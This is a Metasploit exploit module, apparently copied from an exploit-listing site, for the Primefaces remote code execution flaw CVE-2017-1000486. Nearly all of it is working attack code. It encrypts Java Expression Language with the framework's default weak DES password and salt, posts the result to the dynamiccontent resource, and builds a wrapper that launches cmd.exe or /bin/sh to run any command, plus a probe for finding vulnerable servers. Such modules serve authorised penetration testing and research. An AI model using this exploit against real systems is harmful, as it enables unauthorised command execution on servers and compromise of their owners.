Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-PRIMEFACES_WEAK_ENCRYPTION_RCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Primefaces Remote Code Execution Exploit',
'Description' => %q{
This module exploits a Java Expression Language remote code execution flaw in the Primefaces JSF framework.
Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack,
due to the use of weak crypto and default encryption password and salt.
Tested against Docker image with Tomcat 7.0 with the Primefaces 5.2 showcase application. See
documentation for working payloads.
},
'Author' => [
'Bjoern Schuette', # EDB
'h00die' # lots of fixes, documentation, standardization
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2017-1000486'],
['URL', 'https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html'],
['URL', 'https://web.archive.org/web/20180515174733/https://cryptosense.com/blog/weak-encryption-flaw-in-primefaces'],
['URL', 'https://schuette.se/2018/01/17/cve-2017-1000486-in-your-primeface/'],
['URL', 'https://github.com/primefaces/primefaces/issues/1152'],
['URL', 'https://github.com/pimps/CVE-2017-1000486/tree/master'],
['EDB', '43733']
],
'Payload' => {
'BadChars' => '"\'\\' # all threw errors
},
'Privileged' => true,
'DisclosureDate' => '2016-02-15',
'Platform' => ['unix', 'bsd', 'linux', 'osx', 'win'],
'Arch' => ARCH_CMD,
'Targets' => [
[
'Universal', {},
],
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
}
)
)
register_options([
Opt::RPORT(80),
OptString.new('PASSWORD', [ true, 'The password to login', 'primefaces']),
OptString.new('TARGETURI', [true, 'The base path to primefaces', '/'])
])
end
def encrypt_el(password, payload)
# el == Java Expression Language
salt = [0xa9, 0x9b, 0xc8, 0x32, 0x56, 0x34, 0xe3, 0x03].pack('c*')
iteration_count = 19
cipher = OpenSSL::Cipher.new('DES')
cipher.encrypt
cipher.pkcs5_keyivgen password, salt, iteration_count
ciphertext = cipher.update payload
ciphertext << cipher.final
ciphertext
end
def http_send_command(payload_wrapper)
encrypted_payload = encrypt_el(datastore['PASSWORD'], payload_wrapper)
encrypted_payload = Rex::Text.encode_base64(encrypted_payload)
# send the payload and execute command
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'javax.faces.resource', 'dynamiccontent.properties.xhtml'),
'vars_post' => {
'pfdrt' => 'sc',
'ln' => 'primefaces',
'pfdrid' => encrypted_payload
}
})
res
end
def exploit
cmd = payload.encoded
# good for testing
# cmd = "whoami"
# error logs will show
# Nov 13, 2024 7:10:32 PM org.primefaces.application.resource.StreamedContentHandler handle
# SEVERE: Error in streaming dynamic resource. Cannot call sendError() after the response has been committed
payload_wrapper = '${facesContext.getExternalContext().getResponse().setContentType("text/plain;charset=\"UTF-8\"")}'
payload_wrapper << '${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}'
payload_wrapper << '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}'
payload_wrapper << '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}'
payload_wrapper << '${session.getAttribute("scriptengine").eval('
payload_wrapper << '"var os = java.lang.System.getProperty(\"os.name\");'
payload_wrapper << 'var proc = null;'
payload_wrapper << 'os.toLowerCase().contains(\"win\")? '
payload_wrapper << "proc = new java.lang.ProcessBuilder[\\\"(java.lang.String[])\\\"]([\\\"cmd.exe\\\",\\\"/C\\\",\\\"#{cmd}\\\"]).start()"
payload_wrapper << " : proc = new java.lang.ProcessBuilder[\\\"(java.lang.String[])\\\"]([\\\"/bin/sh\\\",\\\"-c\\\",\\\"#{cmd}\\\"]).start();"
payload_wrapper << 'var is = proc.getInputStream();'
payload_wrapper << 'var sc = new java.util.Scanner(is,\"UTF-8\"); var out = \"\";'
payload_wrapper << 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);")}'
payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().flush()}'
payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().close()}'
vprint_status("Attempting to execute: #{cmd}")
res = http_send_command(payload_wrapper)
fail_with(Failure::UnexpectedReply, 'Internal server error. Payload may be incompatible.') if res&.code == 500
# successful exploitation gives us no response
end
def check
marker = rand_text_alpha_lower(5..9)
# https://github.com/Pastea/CVE-2017-1000486/blob/main/exploit.py#L135C14-L135C92
# payload_wrapper = '${facesContext["getExternalContext"]()["setResponseHeader"]("PROVA","123456")}'
payload_wrapper = "${facesContext[\"getExternalContext\"]()[\"setResponseHeader\"](\"#{marker}\", \"#{marker}\")}"
res = http_send_command(payload_wrapper)
return Exploit::CheckCode::Unknown('Unable to determine due to a HTTP connection timeout') if res.nil?
return Exploit::CheckCode::Vulnerable('Victim evaluates Java Expression Language expressions') if res.headers && res.headers[marker] == marker
Exploit::CheckCode::Safe('Server does not process Java Expression Language expressions, likely not vulnerable')
end
end